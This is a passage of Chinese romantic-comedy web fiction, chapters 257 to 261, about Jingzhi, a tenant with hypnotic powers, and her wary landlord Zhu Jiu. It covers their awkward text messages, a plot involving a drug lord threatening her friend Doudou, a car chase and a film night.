昏暗中,床头突然亮起一阵绿光,两条短信几乎是同时发了进来。 静之摸起手机,首先划拉出朱九的回复。 【可以。】 言简意赅,多一字都没有。 静之从这字里行间,实在摸不清他什么情绪,索性先放一旁,点开了阿祥发过来的短信。 深思的表情一下就跳到了地铁老人看手机的表情。 这是家规啊,还是论文啊? 整这老些,怪不得朱八跟阿祥都叛逆了呢,这不纯纯遭到极度压迫后的释放吗? 【1、严禁黄赌毒,违者后果自负。】 【2、……】 …… 【257、附加一条:不许打扰租客生活,违者自己滚出一号别墅。】 静之划拉老半天,才划拉到最后一条。 她实在没耐心看,然而眼睛却定格在最后一条上。 一号……是隔壁别墅吧? 他表面上看上去淡淡的,行为却很暖嘛。 静之的指尖轻轻划拉着屏幕,扬起的唇间不经意间漏出了一声轻笑。 她决定了,她今晚还要过去给他盖被。 “叮咚~” 又一条短信进来。 本就意动的静之,心狠狠跳了一下。 她按耐住激动,退出阿祥的来信界面一看。 “什么嘛,还是阿祥的。” 【明天我要去书法班,少少跟我说过了,她是被泰国毒王乃猜害死的,她手上有乃猜的贩毒犯罪证据,还有五百万美金,她说她妹妹有危险,她妹妹就是高豆豆,你的同事啊,你要不要一起行动?】 一条短信,直接给她炸得翻身坐起。 贩毒?妈的。 她几辈子都跟贩毒分子过不去了是吧。 静之紧咬着唇,哒哒哒回复阿祥。 【去!明天早点起,别让你二叔发现,我在这边别墅后门等你!】 刚点击发送,就又听到一声叮咚响。 又一条短信进来。 本以为还是阿祥发过来的短信,结果她点开一看,眯着的眼睛瞬间瞪得溜圆。 【【AAA世界上最直的大木头】:影音室?明天我没事。】 啊? 啊啊?? 他什么意思??? 静之丢了手机,双手胡乱插入头发,捧着脑袋不知所措,心脏开始急剧跳动。 他,他,他,这是要过来一起看电影的意思吗??? 可是她答应阿祥了…… 可是蔗姑的仇…… 可是豆豆有危险!!! 天呐天呐!她该怎么办??? …… 朱九紧紧捏着手机,关节都泛了白。 心跳声仿佛大到耳朵被挪到了胸腔处。 朱九右手紧紧摁住乱跳的胸,抿紧了唇,脚上的拖鞋划拉着地板上散乱着的糯米。 他就不信了,这个女人肯定身有邪气,他才不信劳什子一见钟情。 不可能,绝对不可能!!! 明天他就要试试她! 朱九退出短信界面,笨拙的切换回百度界面,把他刚刚的搜索记录一一删掉。 记录如下: [一见钟情的表现是什么样的?] [为什么第一次见到一个女人会有熟悉感?] [心脏偶发性不规则跳动,是不是心悸?] [附近权威心脑血管医院搜索] [附近权威心脑血管专家电话] …… 删了很多条以后,朱九的目光锁定在最后一条上: [什么是喜欢一个人的表现?] 他的指尖微顿,最终,还是狠心按下了旁边的[x]。 不可能! 怎么可能只认识一天就会喜欢上一个人,他不信!! 第258章 你改我也改 朱九坐在床边,捏着手机等了半天,急促跳动的心脏随着时间的流逝渐渐变慢。 她是不是…跟其他人有约了? 她…是不是觉得他性子无趣,所以开始对他敬而远之了? 也是,从昨天到今天,她对他越发恭敬了。 每次手机一熄屏,他就不由自主的摁一下侧边的电源键。 微微的绿光照在他有些失神的脸上,不过几秒,又暗了下去。 熄掉了的手机屏幕照出了他那张不苟言笑的脸。 朱九放下手机,转头看向衣柜旁的落地镜,僵硬的扯了一下嘴角。 他笑得可真…不怎么好看,难怪人家不愿意搭理他。 朱九关掉灯,脱了鞋缓缓躺到床上。 手机被他放到桌头柜的最外侧。 他想,他这辈子应该是不会再用短信了,又麻烦,又费时。 朱九侧过身子,脸朝着墙躺着。 黯淡的眸子不由自主的往下走,看向他床脚位置那道白色的门。 她搬到隔壁去了,今晚…应当也不会过来了吧。 挺好,他能好好睡个觉了。 一个多小时后,一动不动,呼吸均匀的朱九,眼睛依旧瞪得像铜铃。 他转了个身,仿佛在心里掐着点似的,拿起手机看了一眼。 12:00 以往这个时候,她已经站在他床头了,然而,她没来。 看来,如他所想,她是不会来了。 一向都是从容不迫的朱九,突然羞恼了似的,嘴里暗骂几句,然后把手机甩出去老远,用力闭上眼。 妖精,她就是个妖精! 不想让他过去就算了,他总有办法治好自己的心疾。 “叮咚~” 铃声响起。 几乎是一秒内,朱九腾的坐了起来,伸长了手去够那差点就要甩到地上去的手机。 【a林:好】 只有一个字,朱九却莫名觉得心头的那块巨石仿佛被挪走了一般,浑身轻松,心跳也变得轻快起来。 还没等他躺回去,手机又传来一声叮咚响。 【a林:咱们约下午吧,我上午有点事,要去一趟市中心。】 咱们。 以往他怎么没觉得这两个字如此顺眼呢。 发誓再也不发短信的朱九,使用二指禅,慢吞吞的回复。 【AAA冷面贴心大暖男:好,你喜—】 屏幕的微光照亮了静之蹙起的眉头,“喜?他喜什么?” 随着她脑洞的开展,静之的脸上不由浮起两团薄薄的红晕。 他是不是想问,你喜不喜欢我? 嘿嘿…… 第二天就搞这么大,这怎么好意思…… 静之唰的一下,把被子撩起来一把将头罩住! 羞死了! …… 隔壁不远的房间,朱九翻箱倒柜的找充电器。 叫他刚刚一直不熄屏,这下好了,彻底关机了。 找了半天,朱九才在抽屉的深处摸到充电器。 原来他竟是急得连灯都忘了开。 刚充上电,朱九就紧盯着手机的开机界面。 啧,这手机是不是该换了,咋这么卡呢。 待进入主菜单界面,他紧绷的面色不由一松,拇指急促的摁回短信界面,草稿箱里没有?? 完了!不会发出去了吧?! 他赶紧划拉到已发送信息处寻找。 第一条就是。 【好,你喜—】 看着这条似是而非的短信,朱九的脸突然爆红。 完了,他打的什么玩意儿。 也不知道她有没有误会。 朱九赶紧重新编辑一条短信,然而越是急,越打不好字。 打了又删,删了又打。 就在这时,他的窗外突然传来一声轻微的“叩”响。 像是项链打到玻璃的声音。 随着微风拂入窗户缝,熟悉的甜甜香气袭来。 今夜可能因为她刚洗了澡,味道比以往更浓,神经紧绷的朱九一下就知道是她过来了。 朱九顾不上手机了,立刻将其塞进被子里。 他也立马脚一缩,躺回床上,并随意扯过一角被子盖住身子,竭力放缓呼吸,假装睡着了。 毕竟,错发了这么暧昧的短信,对处理这种事情十分生疏的朱九,除了假装睡觉,实在不知道该怎么面对她了。 此时的朱九哪里还记得要试试她的那个念头。 这简直……试试就逝世,他自己先慌死算了。 “哦哟~屋里进僵尸了,这么多糯米?” 静之光着脚蹲在他窗户入口,刚踏入一脚,就被洒了一飘窗的糯米硌得慌。 她轻轻一跃,越过飘窗,落到空地上,却仍旧一脚踩在满地的糯米上。 静之:他这是钱太多了没处花,还是半夜饿了,把米袋子不小心弄洒了呀? 本来因为太开心,想过来给他掖被角的静之,打开他的门,悄悄走了出去。 朱九刚睁开眼睛,还没来得及喘口气,门又咔嗒一声,轻轻打开了。 眯着眼偷摸看着摸黑扫地的静之,朱九顿感无语。 不是,她是不是有什么照顾人的怪癖啊? 半夜来他屋,就为了给他扫地吗? 静之夜视能力强,没一会儿,就把朱九房间的糯米收拾得干干净净。 她长舒一口气,在门外拍干净脚底黏着的糯米,这才又偷偷闯进他屋里。 她不敢坐在他床上。 弹簧床坐下去,会咯吱响,她怕不小心吵醒他了。 静之悄悄坐在离他床不远的椅子上,手肘撑着椅背,就这般笑看着他。 有钱真是好,瞧他这辈子把自己养得挺好,面色红润,连睡着了血气都这么旺盛。 就该让他这般持续下去,当一辈子健康平安的大富翁。 她会在他身边守护他的。 这辈子,她可不会再强出头了。 他早亡的命运,她不想再看到第二次。 “唉……” 想到林九,她不禁深深叹了口气。 夜色深深,明天还要赶早呢,而且明天下午还要跟他看电影,她是时候该回去了。 静之站了起来,如往常一般,把他的被子往下扯了扯,恰好盖在他腹部中段。 刚想走,眼角却瞬间被他里侧手臂旁边的黑色物体吸引了注意力。 那是……他的手机吧? 他刚刚的短信,到底是什么意思呢? 静之咬着唇,垂在身侧的手有些蠢蠢欲动。 要不……偷偷看一下呢? 可是阿九这辈子规矩多得很。 万一他醒来发现她擅自侵犯他隐私,生气了可咋整? 算了。 不管他想说她喜什么,她想,她是不会轻易破坏他这般安详的美好生活的。 …… 窗户边的轻纱动了动。 除了一开始那声轻叩,佳人来去无声,只留下一抹渐渐消逝的幽香。 朱九慢慢睁开眼睛,看着被风轻轻吹动的白纱,他甚至觉得刚刚进来扫地的静之像是一场无厘头的梦。 而且,她最后叹的那口气是什么意思? 是觉得他不爱干净,给她留下坏印象了? 朱九对此时依旧乱跳的心有些无语。 他皱着眉,摸起手机打了个电话。 “喂,王医生,对,是我。” “你刚刚说的那个监测心率的手表,明早麻烦送到我别墅。” “……最迟一定要在明天中午之前送过来。” “……我没事,就是偶尔心悸。” “不用了,不用给我开药,我自己先观察两天再说。” …… 怕她发现他是装睡的,朱九硬是憋到一大早,才把那条未完成的短信补充完整,发送给她。 【AAA愿你一世安详:你喜欢什么电影,二号别墅没人住过,二楼只有放映器,没有碟片。我这里有dvd,你告诉我你喜欢的类型,我看着给你一些带过去。】 已经坐上阿祥跑车的静之,原本一脸严峻。 当看到这条短信时,她面色变得更为复杂。 一时之间,竟不知是该笑自己昨晚的自作多情,还是该感叹一下他的面冷心热。 也是,才第二天见面,他怎么可能这么快喜欢上她呢,她又不是钱。 【a林:搞笑轻松的都行,您看着拿吧。】 【a林:您喜—】 发完一条整人短信,静之笑得狡黠,又在他的备注上整活了。 朱九没有她打字那么快,心绪也被她第二条短信直接打乱了。 她想问什么? 问他喜不喜欢……什么? 原本戴在手腕上低调奢华的名表,换成了心率监测仪。 原本朱九的心率显示65,颜色为绿色,血压80/120,非常正常。 看完这条短信,血压是没变化,心率却直飙90,甚至还因为他愈发发散的遐想,越飙越高,颜色变成橙色。 “叮咚~” 朱九立马打开手机。 【a林:您喜欢吃什么零食或水果呀,我回去的时候顺路带一下。】 朱八坐在他旁边,眼瞅着他二哥的心率数值极速下降,一路降回65,然后跳动了两下,降到63才停止。 妈呀,股市崩盘了都没他二哥的心绪起伏快。 他到底在手机上看到啥了? 而静之这边,过了好一会儿才听到一声叮咚响。 【AAA你心热,我的心瓦凉:这个季节盛产荔枝,你买点荔枝吧。】 荔枝? 口味倒是没变,偏甜。 【a2号别墅女租客:行,回来就给您带。】 没错,朱九也改备注了。 刚刚因为她一条短信而瞬间起伏不定的心跳,让他甚感丢脸,特别是朱八还在这儿嘲他,于是他改了。 第259章 抗拒事实的豆豆 静之在副驾驶上一顿咔咔打字,阿祥实在好奇得不行,余光刚瞄上那么一眼,就被她手机上的金属挂饰闪了一下眼。 要是他没看错的话,那是一把小小的金钱剑吧? 谁家好姑娘会往手机上挂这个作为装饰啊? 他窥了一眼静之的手机屏幕,这会儿她正专注于通讯录界面,正给一个手机号改着备注名。 他一眼就看出上面那串数字,是他二叔的手机号。 朱九是个念旧的人,那个尾数为1227的手机号他用了二十几年了,一直没换过。 【aaa嗜甜如命冷面大直男】? 我去! 她真是big胆! 不过该说不说,概括得非常准确。 话说,静之小姐……该不会是喜欢他二叔吧? 不然那三个大写的a又作何解释? 这不就相当于把他二叔的电话在通讯录里置顶了嘛。 “你是不是……” 静之改完备注,把手机揣兜里,这才若无其事的侧头看他一眼,“我是什么?” 她敲了敲座位左前方的电子显示屏,“八点半了,豆豆早上九点开始上课,你开快点,在九点前,咱们得把事情告诉她,别耽误人家上班。” “哦。” 一脚油门下去,一股强烈的推背感袭来,穷了几辈子没坐过豪车的静之不由自主的握紧安全带。 “其实你可以慢点开,真的,命更重要。” 阿祥微微挑起眉毛,暗笑一下。 脚尖微抬,油门慢慢放松,维持在一个不慢却也不会产生强烈推背感的速度。 没办法,他这个人没其他本事,但是直觉最强了。 他有预感,这个女人在未来跟他家二叔,肯定会产生更深的纠葛。 …… 还没进入书法班,一看到从二楼窗户跌落下来的陌生男子,静之不禁眼皮直跳。 下车后,她三步并作两步,朝楼梯口跑上去。 才刚上了几个台阶,几个拿着铁管的小混混跟多米诺骨牌似的,一个叠一个,被从楼上踹了下来。 “静之,你等……”看到那几个边放狠话边踉跄着往下跑的小混混,阿祥藏在静之身后,吓得不行,“怎,怎么了?” 静之眸子冷凝下来,“我看对方朝豆豆出手了。” 她看着落荒而逃的几个背影,呲笑一声,“对方可能没想到豆豆一介弱女子,居然是个高手吧。” 性别歧视要不得,对方这不就玩脱了嘛。 “上去看看。” 边说着,她立马上楼确认豆豆的情况。 刚推开门进去,一根巨大的毛笔就朝她甩了过来。 “啊??” 豆豆来不及收力,不由发出一声惊叫,甚至闭上了眼。 她的身手在静之眼里就跟慢动作一样,静之轻而易举的侧身躲过。 “啪!” 偌大的毛笔头宛如拖把一般,直接扇到阿祥脸上,近视镜一下就变成了墨镜。 衰人阿祥:怎么老是我??? 看到误伤友军,豆豆手一抖,毛笔哐当一声落地,她轻咬着食指,朝静之调皮一笑,又指着静之身边的小胖子问: “他谁啊?” “我房东的侄子。”静之围着她绕了一圈,问:“你没事吧?” 方志远从桌子下面后头走了出来,“她没事,豆豆刚刚可英勇了,以一敌四,完全绰绰有余!” 豆豆摸着后脖子,有些不好意思的说: “我是没事,不过他好像有事。” 豆豆朝阿祥悻悻一笑,“抱歉啊,我不是故意的。” “……”满脸墨汁的阿祥在摘下眼镜后,瞬间失语。 妈呀,他好像看到他的mr.right了。 眼前这个灵动间还透露出一点顽劣的女孩子,完全是他的菜啊!!! 突然,一只素白的手伸到他眼前轻轻晃了晃,“喂!回魂了,你不是有事跟她说吗?” 直勾勾盯着人家妹子看,也不怕豆豆生气,静之一手忍不住叉上腰,拧着眉看他。 阿祥眨了眨眼,他害羞到不敢与豆豆直视,眼神迅速游移。 是要跟她说事的,可是这里太多人了。 阿祥瞄了几眼教室里的半大少男少女们,他捂着嘴,屏住呼吸,凑近豆豆快速耳语。 “你姐姐高少少被泰国赌王乃猜害死了,她告 诉我说,乃猜的犯罪证据就藏在她房间里。” 豆豆:“……我不信!” 阿祥急了,人都杀到这儿了,她怎么还这么犟呢? “刚刚那些混混就是乃猜派过来的人,目的就是为了抓走你询问那些资料的下落。” 豆豆脸上的礼貌笑容渐渐消失。 因为她看到静之脸上的同情和一抹让她不敢深思的痛色。 虽然只跟她处了一天。 但豆豆知道,静之不会拿这种事情跟她开玩笑。 可是她仍然不愿相信,明明三天前她姐姐还跟她打电话聊天,说她又赢了好多钱来着,怎么会突然就死了呢。 “我姐姐仇家多得很,像今天这样的,不知道来过多少波了。” 她扯了扯嘴角,有些牵强的笑一下,“而且,死人怎么跟你传话,有本事你叫她亲自过来跟我说!” 静之走过去,“豆豆,他说的……” “你们走吧……我要上课了。”仿佛在逃避现实,她绷着脸,把静之和阿祥直接推出门外,然后关上了教室门。 看着抵在门后面一直做着深呼吸的豆豆,方志远犹豫了一下,还是走了过去。 “豆豆,你没事吧?” “刚刚…他跟你说了什么?” 豆豆快速眨眼,强行忍住涌上来的泪意和鼻酸的感觉,勉强一笑。 她走到课桌前拍了拍手。 “好了,开始上课,都回去坐好了!” …… 另外一边,阿祥和静之回到了车上。 阿祥一脸难色,“你干嘛把我扯回来,她不信我,我怎么也要跟她解释清楚吧!” 静之的手指轻轻敲着膝盖,眼神不离对面二楼正上课的豆豆,说道: “接受这个事实,是需要一些时间的。” “我都不信,更何况是她呢。” 阿祥还是不愿意走,“那乃猜再派人上门骚扰她怎么办?” 静之叹了口气说: “少少的资料藏在什么地方,我想,只有她这个做妹妹的最清楚,所以对方肯定不会对她下死手,但是大概率是会派人来掳走她拷问的。” 她侧过头建议道:“你们富人不都喜欢请保镖的吗?你请几个保镖,暗中保护她的安全。” 阿祥:“……也行。” 女神怎么可以有事,就算静之不说,他也会暗中安排人保护豆豆的。 他换上干净的备用眼镜,拿起车门抽屉的相机,聚焦到二楼的豆豆身上,咔咔咔一顿连拍。 静之:“……你干嘛?” 阿祥一脸正经收回相机,“给我家保镖熟悉熟悉要保护的人。” 放屁! 若真是这样,他镜片后的小眼睛干嘛轱辘轱辘直转悠。 而且要熟悉面孔的话,一张就够了,他拍这么多,是打算印出一本写真集吗? …… 翰墨书法旁边是中学。 今天周六,来学校的学生本就稀少。 可这会儿的校门口,竟突兀的摆着好几个小吃摊。 那几个摊主眼神有点怪,时不时会飘过书法班二楼还有他们这边。 看来,豆豆这是被监视上了。 那她和阿祥,岂不是也暴露行踪了吗? “阿祥,等会直穿闹市,多绕几圈菜市场再回家。” 阿祥有些迷糊,但仍旧启动了车辆。 “干什么?你打算开火做饭啦?” 为了不吓到这个小胖子,静之朝他笑了笑,“买点荔枝啊,有人既然交代了,我不得挑点新鲜的嘛。” 荔枝? 阿祥双眼突然瞪得大大的。 他们全家三口人,就数他家二叔最爱吃荔枝了。 交代黄姨就算了,交代她一个租客买荔枝,二叔这个房东做得是不是有些越界了? …… 豆豆抗拒承认她姐已经去世的事实,实在让静之觉得有些棘手,这件事只能耽搁下来。 或许,她该趁着朱九不在的时候,偷偷去问问少少该怎么办才好。 姐妹之间,应该有一些别人不知道的小秘密吧。 到时候,这些小秘密一说,她就不信豆豆还不承认。 斯人已逝,自欺欺人已经没有用了,还是早些解决这些潜在的危机为好。 …… 阿祥觉得静之很奇怪。 明明叫他绕进闹市里,但又不 让下车,车速时快时慢,还让他不准熄火。 这不是纯纯考验他的开车技术吗? 得亏他已经是老司机了,就这点小要求,洒洒水啦。 在经过第三个闹市时,静之终于叫停。 后视镜里已经没有了那辆跟了他们三条街的面包车,静之解开安全带,交代一句: “保持启动状态,我很快就回来!” 阿祥依旧照办。 虽然她有时候看上去神神的,但是跟他二叔一样,身上莫名有一种能让人信服的感觉。 他一胳膊杵在方向盘上,看着蹲在水果摊前挑荔枝的静之背影,突然觉得他二叔要是有这么个人陪在他身边,好像也没什么不好的。 虽然她给他二叔取的备注名莫名带着一股怨气。 但是她不仅会记得他二叔的喜好,就连出来救闺蜜,也会顺带捎上他二叔爱吃的东西回去。 这不是真爱,又是什么呢? 嗐,他也该拯救拯救他的真爱了。 于是阿祥掏出手机打起了电话。 “喂,安排5个保镖,穿便装来市中心翰墨书法班保护一个叫高豆豆的女人。” “对,24小时保护,她回家的话,更要提高警惕,注意别让陌生人接近她家。” “嗯,照片我等会会发给你。” …… 第260章 静之上钩 买好东西,刚上车的静之,从后视镜里又看到侧边一辆有些异常的车,她啧了一声,把东西放在小腿旁边,快速扣好安全带后,她皱起眉头朝阿祥说: “赶紧开车!” “哦哦哦!” 饶是有些天真的大少爷阿祥,这回也看出来有人在跟踪他们了。 “我们也被盯上了?” 静之环着胸,捏着眉心,有些不明所以,“不应该啊,豆豆是少少的妹妹,被监视还有理由,我只是书法班新来的老师,又没得罪过乃猜,他派人跟踪我们干什么呢?” 阿祥心虚得要命。 他突然想起那天他和三叔去赌场里赌博的事儿。 那个赌场,好像就是乃猜名下的。 虽然最后他们满盘皆输,但是除了最后一把,前面好多把游戏,他跟三叔简直把所有人跟庄家玩得团团转。 这么说来,乃猜要跟踪人不是她,而是他喽? 阿祥紧紧闭着嘴巴,完全不敢说出自己的猜测。 他可记得之前静之跟他二叔打小报告的事情。 他看了看后视镜,不管他是加速还是变道,那辆不起眼的黑色汽车一直不近不远的跟在他们后面。 “怎么办?甩不掉啊!” 这么回去的话,肯定会被他二叔发现的吧! “……听我的,放慢速度,与他的车并排。”静之突然改变策略。 阿祥有些诧异,但仍旧照做,“你想干什么?可千万别叫我撞他啊,我这车贵得很,都可以买好几辆他那个型号的车了。” 静之朝他翻了个白眼,“你放心,不会让你的宝贝刮花一点的。” 车速渐渐减慢,后头的车鸣了几声笛后,发现前面的豪车实在不提速,皆骂骂咧咧的变道超车。 跟踪他们的人的车也被鸣笛示意了。 并且因为车便宜,后面超上来的车甚至对黑车司机比了比中指,或者打开一点车窗,咒骂几句,然后扬长而去。 冷静的黑车司机渐渐破防。 有钱了不起啊! 怎么不骂前面那死胖子,妈的,都是势利眼! 他咬着牙,变道来到豪车左侧。 车窗慢慢往下降。 静之也跟着将车窗调下来。 大股的风吹乱了她的刘海,静之随意将扬到脸上的白色发丝掖至耳后,然后侧过脸朝隔壁司机浅浅一笑: “我敲你妈。” “轰!”一声油门闷响,神经紧绷的阿祥猛踩油门扬长而去。 黑车司机的脸完全黑了下来,彻底破了大防。 “我艹!我大艹特艹!!” “臭婊子,你有种别跑!!!” 静之依旧冷静的一批,她淡定指挥。 “变道到他右边,降低速度与他平行。” 阿祥无语凝噎,“你……你悠着点,我可不想出车祸。” 她无辜一笑,朝阿祥睁着纯洁无瑕的眸子,“你放心,怎么会呢~” 阿祥:“……” 不管了,死就死! 反正刚刚也是给他听爽了。 两辆车再度并驾齐驱的时候,阿祥甚至能够从呼呼风声里,清晰的分辨出黑车司机的凶狠磨牙声。 她可不能有事。 根据最新家规,他的预感告诉他,她要是出事了,他的二叔铁定会撕了他的。 刚想加速,却看见静之就朝隔壁司机看了一眼,隔壁的黑车就慢慢减速,并把车开到路边停了下来。 阿祥大为吃惊。 “你干嘛了刚刚?” 他是不是因为专注开车,而错过了什么细节? 静之心情甚好的笑了笑,垂下的眼睫掩去了那点深紫色的光亮。 没错,她刚刚用魅惑之术给那司机下了个暗示——停车,并忘记正在执行的任务。 “没事,回家吧。” 她刚刚是故意惹怒那司机的,破防的人更容易被控制,毕竟现在是在车上,她无法长时间对他施术。 在两人没注意的远处一辆老爷车里,有一个人正拿着望远镜,远远的偷窥他们…… …… “二哥,说不定他俩在外面吃过了,咱们先吃吧。” 三叔按住咕咕叫的肚子,对着桌子上的奶白色鱼汤咽了口口水。 二哥怎么会突然想喝鱼汤了呢?他们仨一向不喜吃鱼这种麻烦的生物。 但是面前的这一碗好 香啊。 又香又鲜,把他馋虫都勾出来了。 而朱九则抓到了重点。 “你刚刚说的是什么意思?他们两个早上是一起出去的?” 看着朱九瞬间拉成一条直线的嘴,朱八恨不得扇自己一巴掌。 “我是说……他们可能,也许……单独在不同的地方,分开吃过饭了呢?” 随着朱八这句解释的话一出,空气一下安静得有些过分。 朱九显然不信,不然嘴角不会开始下垂。 黄姨放慢擦灶台的动作,恨不得当场消失在原地。 要不是老板说鱼汤凉了会腥,叫她在这儿待命,她早就回家了。 话说,老板为什么要叫她问静之小姐的饮食爱好呢? 一个租客而已,对她那么好,真的无所图吗? 黄妈摸着下巴,觉得自己好像触及到了一点主人家的秘辛。 朱九摸着左手手表的触摸式表盘,轻轻在上面一点。 表盘亮了。 心跳65,血压90\/130。 他弟是懂怎么气他的。 朱九闭上眼睛,环着胸不再回复他,沉默的坐在椅子上等待。 话说……这表,他后来交代医生多拿了一只过来。 他要以什么理由给静之带上呢? 既然要测试她,那他必然要测个彻底。 …… “呦,都等着呢?” 静之左手拎着一大袋零食走了进来。 朱九眼底微微一暗,说好的荔枝呢? 她果然是逗他玩的,没把他的话放在心上吧。 仿佛知道他心中所想。 静之把零食放在沙发边上,朝饭桌走了过去,边跟他解释: “水果我放到二楼的冰箱冰上啦,冰冰的才好吃。” 坐到他旁边后,也不管朱九没看向她,她依旧朝他笑得开心,她凑到他耳边小声说:“你交代的荔枝,我买啦。我尝过了,超~甜~” 清浅的荔枝味混合着她温热的气息,轻轻拂过他的耳际,朱九忍不住咽了口口水,朝侧边去了去,远离她的靠近。 “咽口水干什么?馋啦?放心,我买很多的,保管你吃得爽!” 朱九:“……” 呵。 他突然好气,也不知道为什么。 “阿姨,等会麻烦煮一壶凉茶送到2号别墅2楼影音室,毕竟荔枝吃多了容易上火。”静之转过身子,朝流理台里站着的黄姨说道。 “滴滴……滴滴……您的血压过高,请注意饮食,并保持良好心情。” 有些机械感的女声突兀的响起,朱九默默低头看了一眼表。 心跳90。 血压100\/140。 呵。 她比三弟更懂得怎么气人。 但他心跳那么快干什么?? 真是没用,她果然有毒,看来他得想想办法把表给她戴上了。 静之一脸好奇的看着他手上的黑表。 “(⊙o⊙)哇,高科技啊,能借我看看不?” 朱九一把捂住表盘,礼貌朝她微笑,“这是身体检测仪,想看?” 静之重重点头,“想。” 朱九反手从脚下掏出一个袋子递给她,他突然想到了一个正当的理由。 “你的吊坠太贵重了,这个给你。” 朱八暗暗咂舌。 这表是新款高科技,市面上现在还没出呢,怎么也要个几万块吧。 他二哥手里的吊坠他也看过了,除了那个他看不懂的阵法,那白玉吊坠实在是值不了那么多钱。 论一个小气巴拉,从不轻易让人占便宜的男人,突然主动把便宜给别人占,是一种什么样儿的心态? 朱八想,他二哥可能是突然变态了。 静之可没想那么多,她一脸惊喜的接过袋子,有些不可置信。 “真的送我啊?” 朱九点了点头。 静之打开盒子看了看,浅黄色的表带,亮面黑色的表盘,还有点fashion是怎么回事?她更爱了。 静之眉眼弯弯朝着朱九说: “谢谢您!我会好好珍惜的。” 朱九突然正了脸,看着他侄子的…………包公脸压压心跳。 “……你这又是怎么回事?” 阿祥挤眉弄眼一下,这才发现脸上有些紧绷,墨吹干了吧? “我,我早上去练字了。” 朱九:“……字写脸上了?” “噗哈哈哈!”静之抱着袋子,乐不可支。 正欲发火的朱九,莫名一下泄了气,“还不去洗脸?!” “去去去。” 阿祥逃也似的,赶紧溜了。 她还没戴上呢,朱九抿了抿嘴,装作无意间提了一句,“现在不戴上吗?” “……也行。” 静之饭也不吃,拿出表兴致冲冲的给自己戴上了,还顺便展开折叠成小方块的说明书,认真阅读了起来。 呵,这女人终于上钩了。 他倒要看看,等会在他的攻势下,她会是什么反应…… 第261章 看电影1 今天静之吃饭莫名的快。 戴好表后,她库库就是一顿造。 饭后,她随便找了个借口,拎着零食就从前门走了出去。 然后把零食放在后门门后边,从后门楼梯口往上爬。 “蔗姑我来辣!” 走到三楼时,她两眼放光的看着那个小坛子,情绪有些激动。 在静之没注意到的时候,她的手表发着微光。 血压82\/119 心跳95 哎妈,背着朱九干坏事的感觉好刺激,静之快速走过去,扶着膝盖弯下腰,笑眯眯的看着坛子,刚想问问少少一些问题,后头就响起了一声轻咳。 她回头一看。 保持住撅着腚的姿势直接石化。 “二,二叔,您这么快就吃饱了?” 朱九把着扶手,强行从视线从她这怪异的姿势挪到桌上的坛子上,“……你上来干什么?不是说尿急吗?” “急。”她立正站好,左顾右盼的,攥紧拳头就往朱九隔壁,她以前住的房间门冲。 “咔嗒咔嗒。” 拧了两下把手,打不开。 静之僵住了。 她回头朝好整以暇,抱着臂看她的朱九讪讪一笑,“嘿,我回去我那边上就行。” “嗯。” 朱九低低应了一声,侧身将路让给她。 静之捏在手心的指甲,不禁抠了抠自个儿的手心肉,他怎么还不走,看来今天是和蔗姑说不了话了。 二人一前一后下楼。 就在静之还疑惑他上来干什么的时候,朱九冷不丁突然提一句。 “鬼物嘴里没几句真话的,你少跟她混在一起,对你没——” “她才不会跟我说谎!” 静之捏紧拳头打断他的话,表情十分严肃,像是她的名誉被污蔑了一样。 朱九未说完的话卡在喉咙里,憋得他浑身难受。 他抿紧嘴唇到二楼停了下来。 “你先过去吧,我带点影碟,等会就过去。” 他是还防着她吗? 静之莫名这样想,心情突然低落,下了一楼拿了她藏起来的零食就往隔壁走去。 朱九站在二楼,看着她垂着头的样子,不禁捂上胸口。 怎么她不开心的时候,他也有感觉呢?胸口闷闷的。 得,除了心悸,他还得了个胸闷的毛病。 …… 蔗姑那被朱九严防死守,无奈的静之只好回了房间,先换身衣服。 尽管没打算勾搭他,但她仍想在他面前保持住美好的形象。 静之挑了一套无袖雪纺小碎花连衣裙,裙摆长至膝盖下面一点,露出了她匀称的小腿,和一双米色的拖鞋,拖鞋是她自己挑的款式,鞋面上还印着一只白色的小猫跟一只灰色的大狗。 搁镜子前臭美了一下,余光看到窗外那个靠近的小点,静之眼前一亮,赶紧下楼。 影音室大得很。 说是影音室,其实就是一个小型的家庭影院。 整个房间黑不拉几的,四周踢脚线的位置贴了一圈昏黄的灯带,照亮了静之脚下的路。 房间侧边摆着一个胡桃木色的斗柜,不知道干嘛使的,她也没打开看过。 地面铺着一层厚厚的地毯,踩上去脚感舒适。 房屋中间摆着一套棕色的真皮沙发跟一张宽大的茶几,茶几左侧有个收纳盒,放着纸巾,遥控器,开瓶器等一类小东西。 右侧上放着一大壶正掀开盖子放凉的凉茶。 要问她为什么知道这是凉茶。 就凭那隐隐的草药味跟浓厚的棕色。 这玩意儿总不能是煮开了的可乐吧。 她拎着零食走过去,将东西放在桌上。 顺手拿了遥控器打开空调。 真好,这辈子能使空调了,作为长毛生物,她最怕夏天了! 感受到一阵凉意的静之舒爽的赞叹一声,然后走到墙角处的双开门冰箱前,将之打开。 嗯?怎么多了这么多东西? 看着满满当当,摆得整整齐齐的各种零食饮料的冰箱,静之甚至怀疑自己是不是神经错乱了。 一个多小时前,她过来的时候,这里头还是空空荡荡的呀。 “静之小姐,是二爷刚刚叫我去附近超市买的,您放心,都可以吃的。”黄姨站在门口讲。 眼里实在忍不住脱离了职业道德 ,浮起了一丝八卦神色。 “好的,谢谢!” “不用谢我。”黄姨笑着摆了摆手,“您应该谢谢二爷。” 她家二爷这是把静之小姐当闺女宠呢,还是把她当未来妻子对待呢? 咋这么细心? 静之把视线挪回冰箱内。 荔枝被剪成一颗一颗的,码在两个碟子里,这倒是省事了,拿。 西瓜也去皮切小块,甚至放上果叉了,拿! 可乐,必须拿! 酸奶,有点想吃,拿两个。 …… 静之手上堆满了东西,拿得正畅快的时候,两根手指突然轻轻敲了敲她的肩头。 刚一回头,朱九就顺势抽出她夹在腋下的大瓶可乐。 “别一次性拿太多,等会吃坏肚子了。” “才不会,我壮得很。” 静之走过去桌前放下东西,“你走路怎么没声儿?” 还没等朱九回答,她就叉着腰直拍脑门,“是哦,这里铺了地毯。” 朱九:“……你要先看什么?” 他放下可乐,坐下来将dvd的盒子摆在桌上任她挑选。 静之坐在他身边,饶有兴致的拿起各个盒子逐一查看。 今天他穿的是棕色的练功服,又轻薄,又宽松。 静之这一靠近,朱九甚至觉得他都可以感受到她身上暖暖的体温。 他下意识的想往旁边挪远一些,就想起要测试她的事儿。 朱九趁她专注于挑选碟片,手腕一抖,一个小型八卦从袖口落入他的手心。 还没来得及将卦面对准她,静之就站起来走向正前方的dvd播放器放入碟片。 